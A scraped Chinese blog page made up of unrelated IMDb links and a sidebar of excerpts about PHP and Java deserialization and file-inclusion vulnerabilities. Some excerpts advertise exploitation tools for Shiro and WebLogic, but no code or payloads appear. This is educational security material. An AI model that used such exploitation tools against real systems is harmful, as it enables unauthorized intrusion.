      https://www.imdb.com/list/ls085300364/?mode=desktop
      https://www.imdb.com/list/ls085300396/?mode=desktop
      https://www.imdb.com/list/ls085300618/?mode=desktop
      https://www.imdb.com/list/ls085300621/?mode=desktop
zjianff2006
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
php反序列化construct绕过,PHP反序列化漏洞
weixin_39824801的博客
03-11 1650
在理解这个漏洞前,你需要先搞清楚php中serialize()，unserialize()这两个函数。序列化serialize()序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:class S{public $test="pikachu";}$s=new S(); //创建一个对象serialize($s); //把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:"...
PHP课程整理
Autovy blog
02-02 246
PHP要点整理
php判断txt是否存在 不存在则创建_PHP七天系列之文件与目录
weixin_31966185的博客
01-24 807
文件与目录PHP提供了完善的操作文件与目录机制。基础函数disk_total_space本函数返回的是该目录所在的磁盘分区的总大小，因此在给出同一个磁盘分区的不同目录作为参数所得到的结果完全相同。disk_free_space参数是一个目录的字符串。该函数将根据相应的文件系统或磁盘分区返回可用的字节数。自动添加单位/** * 获取有单位的大小 * @param int $total 大小单位字...
原理+实践掌握(PHP反序列化和Session反序列化)
bylfsj的博客
03-22 1723
<p></p><h2 id="toc-0">前言：</h2> 最近又接触了几道php反序列化的题目，觉得对反序列化的理解又加深了一点，这次就在之前的学习的基础上进行补充。 0x00:PHP序列化 函数 : serialize() 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表...
对于反序列化漏洞
weixin_62281892的博客
07-11 90
反序列化
Java反序列化漏洞利用工具.zip
04-10
Java反序列化漏洞是软件安全领域的一个重要话题，它涉及到Java应用程序在处理序列化和反序列化过程中的安全问题。序列化是将对象状态转换为可存储或传输的数据格式的过程，而反序列化则是将这些数据恢复为原来的对象...
Java反序列化漏洞检查工具V1.2_Weblogic XML反序列化漏洞检查工具CVE-2017-10271
11-11
Java反序列化漏洞是软件安全领域的一个重要话题，特别是在企业级应用服务器如Weblogic中，这类漏洞可能导致远程代码执行、系统权限提升等严重后果。工具"Java反序列化漏洞检查工具V1.2_Weblogic XML反序列化漏洞检查...
深入浅析PHP的session反序列化漏洞问题
10-19
主要介绍了PHP的session反序列化漏洞问题,需要的朋友可以参考下
shiro 反序列化漏洞综合利用工具 shiro_attack_by J1anfen
11-05
在提到的 "shiro_attack_by J1anfen" 工具中，重点是针对 Apache Shiro 的一个特定安全问题：反序列化漏洞。 反序列化漏洞通常出现在程序中，当接收到从网络或持久存储中读取的数据，并将其转换回原来的对象实例时...
Shiro反序列化漏洞检测工具
01-05
在Shiro的早期版本中，尤其是1.2.4及以下版本，存在一个严重的反序列化漏洞，这个漏洞可能导致远程代码执行（RCE）的风险，攻击者可以利用这个漏洞对目标系统进行非法操作。 反序列化漏洞通常出现在应用程序接收到...
php文件包含漏洞总结
cj_Hydra's Blog
02-26 1359
前言 一：什么是文件包含漏洞？ 服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严，从而可以去包含一个恶意文件，而我可以构造这个恶意文件来达到攻击的目的。 漏洞产生的根本原因就是，在通过php的函数引入文件时,没有对传入的文件名经过合理的校验,从而操作了预想 之外的文件(也就是恶意文件)。 二：是不是只有php才有文件包含漏洞？ 当然不是的，只是文件包含漏洞比较常出现...
11.6学习笔记
weixin_30423977的博客
11-06 135
复习一下mysql语句： 查询单行？ select * from '表名' where id="值"; 查询0,5？ select * from '表名' limit 0,5 查询满足用户名和密码匹配？ select * from admin where `username`='值' and `password`="值"; 添加用户？ insert into...
全国大学生信息安全竞赛初赛writeup
蚁景网安学院
08-24 5252
WEBBabyunserialize扫目录发现了www.zip下载下来发现似曾相识图片之前wmctf2020的webweb出了f3的反序列化题直接用exp打图片System被ban了 ...
PHP反序列化进阶学习与总结
u013119911的博客
06-29 537
转自：先知社区——Threezh1，原文章连接：PHP反序列化进阶学习与总结 - 先知社区
php destruct的作用,Php Destruct被称为两次
weixin_42159267的博客
03-25 161
下面的代码说明了两次调用destruct().我想知道为什么？class A {function hi(){ echo 'hi'; }function __destruct(){echo 'destroy';}}class B{public $this_ = '';function __construct(){$this->this_ = new A;}function __call($me...
php反序列化漏洞学习笔记
T19er的博客
07-09 984
0x01序列化与反序列化概述 PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输 PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。 0x02 magic魔术方法总结 php面向对象变成中，有一类函数叫做magic function，魔术函数，这些函数是以__(双下划线)开头的，他们是一些当依照某些规则实例化类或者调用某些函数的时候会自动...
反序列化漏洞详解
qq_48904485的博客
03-21 3273
一、基础知识 1、序列化 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,序列化的目的是方便数据的传输和存储。在PHP应用中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。 常见的序列化格式： 二进制格式 字节数组 json字符串 xml字符串 比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s
反序列化-学习笔记
小龙在线
08-21 343
php中有一类特殊的方法叫“Magic function”，就是我们常说的”魔术方法” 这里我们着重关注一下几个。
PHP反序列化漏洞总结
热门推荐
坚持硬核
10-07 1万+
一、什么是序列化？ 将php中 对象、类、数组、变量、匿名函数等，转化为字符串，方便保存到数据库或者文件中。而反序列化就是将这个过程倒过来。 当在php中创建了一个对象后，可以通过serialize()把这个对象变成一个字符串，保存对象的值方便以后传递使用。 <?php class A{ public $test = 123; } $a = new A; $a_ser=ser...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值